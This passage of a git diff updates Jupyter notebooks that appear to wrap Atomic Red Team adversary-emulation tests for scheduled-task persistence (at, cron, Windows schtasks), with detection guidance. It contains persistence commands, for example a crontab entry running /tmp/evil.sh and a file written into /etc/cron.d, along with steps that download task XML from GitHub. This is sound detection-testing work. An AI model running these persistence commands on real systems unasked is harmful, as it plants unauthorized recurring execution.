variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1053.002.ipynb b/playbook/tactics/execution/T1053.002.ipynb index 9cacbde5..bfb6ff89 100644 --- a/playbook/tactics/execution/T1053.002.ipynb +++ b/playbook/tactics/execution/T1053.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "ece16dba", + "id": "4e12531a", "metadata": {}, "source": "# T1053.002 - At\nAdversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)" }, { "cell_type": "markdown", - "id": "f0d2c05d", + "id": "7236bdf7", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "fd0a8a73", + "id": "f27d84ea", "metadata": {}, "source": [ "### Atomic Test #1 - At.exe Scheduled task", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ab2b6e20", + "id": "e7c47930", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "30744623", + "id": "f15e4519", "metadata": {}, - "source": "### Atomic Test #2 - At - Schedule a job\nThis test submits a command to be run in the future by the `at` daemon.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: The `at` and `atd` executables must exist in the PATH\n\n##### Check Prereq Commands:\n```sh\nwhich at && which atd\n\n```\n##### Get Prereq Commands:\n```sh\necho 'Please install `at` and `atd`; they were not found in the PATH (Package name: `at`)'\n\n```\n##### Description: The `atd` daemon must be running\n\n##### Check Prereq Commands:\n```sh\nsystemctl status atd || service atd status\n\n```\n##### Get Prereq Commands:\n```sh\necho 'Please start the `atd` daemon (sysv: `service atd start` ; systemd: `systemctl start atd`)'\n\n```" + "source": "### Atomic Test #2 - At - Schedule a job\nThis test submits a command to be run in the future by the `at` daemon.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: The `at` and `atd` executables must exist in the PATH\n\n##### Check Prereq Commands:\n```sh\nif [ \"$(uname)\" = 'FreeBSD' ]; then which at; else which at && which atd; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho 'Please install `at` and `atd`; they were not found in the PATH (Package name: `at`)'\n\n```\n##### Description: The `atd` daemon must be running\n\n##### Check Prereq Commands:\n```sh\nif [ $(uname) = 'Linux' ]; then systemctl status atd || service atd status; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho 'Please start the `atd` daemon (sysv: `service atd start` ; systemd: `systemctl start atd`)'\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "75a73f30", + "id": "60d7cd5d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.002 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5ade5e94", + "id": "2f3a595f", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -59,14 +59,14 @@ { "cell_type": "code", "execution_count": null, - "id": "f6400d7e", + "id": "55ed22ed", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "3ef336e9", + "id": "d810bf1d", "metadata": {}, "source": "## Detection\nMonitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\n\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008)." } @@ -74,13 +74,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1053.003.ipynb b/playbook/tactics/execution/T1053.003.ipynb index 2d9914fc..5a09c796 100644 --- a/playbook/tactics/execution/T1053.003.ipynb +++ b/playbook/tactics/execution/T1053.003.ipynb @@ -2,53 +2,53 @@ "cells": [ { "cell_type": "markdown", - "id": "88cd7439", + "id": "87e673ca", "metadata": {}, "source": "# T1053.003 - Cron\nAdversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). " }, { "cell_type": "markdown", - "id": "6b7d620f", + "id": "35266c8e", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "fcf127e6", + "id": "0b93e385", "metadata": {}, "source": [ "### Atomic Test #1 - Cron - Replace crontab with referenced file", "This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.\n", - "**Supported Platforms:** macos, linux", - "#### Attack Commands: Run with `bash`\n", - "```bash\ncrontab -l > /tmp/notevil\necho \"* * * * * /tmp/evil.sh\" > /tmp/persistevil && crontab /tmp/persistevil\n```" + "**Supported Platforms:** linux, macos", + "#### Attack Commands: Run with `sh`\n", + "```sh\ncrontab -l > /tmp/notevil\necho \"* * * * * /tmp/evil.sh\" > /tmp/persistevil && crontab /tmp/persistevil\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "1791d3e0", + "id": "fd6e1efb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "0df25a8b", + "id": "06ce57eb", "metadata": {}, - "source": "#### Cleanup: \n```bash\ncrontab /tmp/notevil\n```" + "source": "#### Cleanup: \n```sh\ncrontab /tmp/notevil\n```" }, { "cell_type": "code", "execution_count": null, - "id": "dfa49f01", + "id": "968370db", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "c7c9181d", + "id": "1a834113", "metadata": {}, "source": [ "### Atomic Test #2 - Cron - Add script to all cron subfolders", @@ -62,31 +62,66 @@ { "cell_type": "code", "execution_count": null, - "id": "0a2896e9", + "id": "935259d7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "aa88aedd", + "id": "09e8e971", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm /etc/cron.daily/persistevil\nrm /etc/cron.hourly/persistevil\nrm /etc/cron.monthly/persistevil\nrm /etc/cron.weekly/persistevil\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1a3507dd", + "id": "3defc5c8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "3f2edc1f", + "id": "6cfe9d2d", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Cron - Add script to /etc/cron.d folder", + "This test adds a script to /etc/cron.d folder configured to execute on a schedule.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\necho \"echo '*/5 * * * * root echo \"Hello from Atomic Red Team\"' > /tmp/atomic.log\" > /etc/cron.d/persistevil\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "789c5a02", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1053.003 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "ad04b822", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm /etc/cron.d/persistevil\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ce2375de", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1053.003 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "97491ea2", "metadata": {}, "source": [ - "### Atomic Test #3 - Cron - Add script to /var/spool/cron/crontabs/ folder", + "### Atomic Test #4 - Cron - Add script to /var/spool/cron/crontabs/ folder", "This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", @@ -97,28 +132,28 @@ { "cell_type": "code", "execution_count": null, - "id": "014ef71a", + "id": "5a0138d0", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1053.003 -TestNumbers 3" + "source": "Invoke-AtomicTest T1053.003 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "6995f86f", + "id": "8cdb7c41", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm /var/spool/cron/crontabs/persistevil\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6ba1efc7", + "id": "4aa1ce54", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1053.003 -TestNumbers 3 -Cleanup" + "source": "Invoke-AtomicTest T1053.003 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "8451e4e1", + "id": "921ef840", "metadata": {}, "source": "## Detection\nMonitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. " } @@ -126,13 +161,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1053.004.ipynb b/playbook/tactics/execution/T1053.004.ipynb deleted file mode 100644 index f7818aa8..00000000 --- a/playbook/tactics/execution/T1053.004.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "35b50eb8", - "metadata": {}, - "source": "# T1053.004 - Launchd\nThis technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in." - }, - { - "cell_type": "markdown", - "id": "eed8b41b", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "54fe7e5e", - "metadata": {}, - "source": "## Detection\nMonitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1053.005.ipynb b/playbook/tactics/execution/T1053.005.ipynb index e720fa4a..0e81c7d5 100644 --- a/playbook/tactics/execution/T1053.005.ipynb +++ b/playbook/tactics/execution/T1053.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b03be319", + "id": "f80957a6", "metadata": {}, "source": "# T1053.005 - Scheduled Task\nAdversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) " }, { "cell_type": "markdown", - "id": "6cd6aff3", + "id": "0e34be02", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ec4b2db9", + "id": "1544730c", "metadata": {}, "source": [ "### Atomic Test #1 - Scheduled Task Startup Script", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "556323b6", + "id": "b4c001c9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "f8e7513e", + "id": "eb9cb95c", "metadata": {}, "source": "#### Cleanup: \n```cmd\nschtasks /delete /tn \"T1053_005_OnLogon\" /f >nul 2>&1\nschtasks /delete /tn \"T1053_005_OnStartup\" /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c188c110", + "id": "a24c6881", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "6878d313", + "id": "f0b721c8", "metadata": {}, "source": [ "### Atomic Test #2 - Scheduled task Local", @@ -63,28 +63,28 @@ { "cell_type": "code", "execution_count": null, - "id": "e75d886e", + "id": "2f407047", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "393a6381", + "id": "f5a9ed4b", "metadata": {}, "source": "#### Cleanup: \n```cmd\nSCHTASKS /Delete /TN spawn /F >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d46e7a0b", + "id": "c451e24a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "4df7359a", + "id": "c9d6ea16", "metadata": {}, "source": [ "### Atomic Test #3 - Scheduled task Remote", @@ -98,28 +98,28 @@ { "cell_type": "code", "execution_count": null, - "id": "899034d6", + "id": "d16112a1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "d2976987", + "id": "dbee8bca", "metadata": {}, "source": "#### Cleanup: \n```cmd\nSCHTASKS /Delete /S localhost /U DOMAIN\\user /P At0micStrong /TN \"Atomic task\" /F >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f30a63c8", + "id": "8eefed4f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "bd5d9266", + "id": "4ad223b3", "metadata": {}, "source": [ "### Atomic Test #4 - Powershell Cmdlet Scheduled Task", @@ -133,42 +133,42 @@ { "cell_type": "code", "execution_count": null, - "id": "95a6804a", + "id": "e326c727", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "afa658d0", + "id": "7425c8d8", "metadata": {}, "source": "#### Cleanup: \n```powershell\nUnregister-ScheduledTask -TaskName \"AtomicTask\" -confirm:$false >$null 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "02cc087a", + "id": "a487d08d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "966030ef", + "id": "57e1193d", "metadata": {}, "source": "### Atomic Test #5 - Task Scheduler via VBA\nThis module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute \"notepad.exe\" within\n30 - 40 seconds after this module has run\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft #{ms_product} must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Word.Application\" | Out-Null\n $process = \"Word\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8f950b9b", + "id": "d42862e7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "43443d30", + "id": "cdb49da1", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -178,42 +178,42 @@ { "cell_type": "code", "execution_count": null, - "id": "9724eec6", + "id": "f8d681cc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "a6a173e8", + "id": "61779914", "metadata": {}, "source": "#### Cleanup: \n```powershell\nUnregister-ScheduledTask -TaskName \"Run Notepad\" -Confirm:$false\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7d6f6813", + "id": "81208ac0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "dfbd206f", + "id": "3903e81a", "metadata": {}, - "source": "### Atomic Test #6 - WMI Invoke-CimMethod Scheduled Task\nCreate an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{xml_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_WMI.xml\" -OutFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml\"\n\n```" + "source": "### Atomic Test #6 - WMI Invoke-CimMethod Scheduled Task\nCreate an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{xml_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_WMI.xml\" -OutFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "472fc0a6", + "id": "1e4512bd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2bb9793f", + "id": "f6e1f987", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -223,28 +223,28 @@ { "cell_type": "code", "execution_count": null, - "id": "dc11b838", + "id": "c8706954", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "c939a437", + "id": "a352a751", "metadata": {}, "source": "#### Cleanup: \n```powershell\nUnregister-ScheduledTask -TaskName \"T1053_005_WMI\" -confirm:$false >$null 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3ef29837", + "id": "2f1134ea", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "28bb9162", + "id": "c636e544", "metadata": {}, "source": [ "### Atomic Test #7 - Scheduled Task Executing Base64 Encoded Commands From Registry", @@ -257,42 +257,42 @@ { "cell_type": "code", "execution_count": null, - "id": "6109abda", + "id": "4c22ae81", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "acfbb1ea", + "id": "455efa23", "metadata": {}, "source": "#### Cleanup: \n```cmd\nschtasks /delete /tn \"ATOMIC-T1053.005\" /F >nul 2>&1\nreg delete HKCU\\SOFTWARE\\ATOMIC-T1053.005 /F >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cccf73cb", + "id": "27ed7206", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "1882bd81", + "id": "31bffc0b", "metadata": {}, - "source": "### Atomic Test #8 - Import XML Schedule Task with Hidden Attribute\nCreate an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. \nThis technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{xml_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_SCTASK_HIDDEN_ATTRIB.xml\" -OutFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml\"\n\n```" + "source": "### Atomic Test #8 - Import XML Schedule Task with Hidden Attribute\nCreate an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. \nThis technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{xml_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_SCTASK_HIDDEN_ATTRIB.xml\" -OutFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5348cee7", + "id": "fec598d7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ef155d2c", + "id": "83018286", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -302,28 +302,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f05334c4", + "id": "bdaeb400", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "4fe4232f", + "id": "a273d816", "metadata": {}, "source": 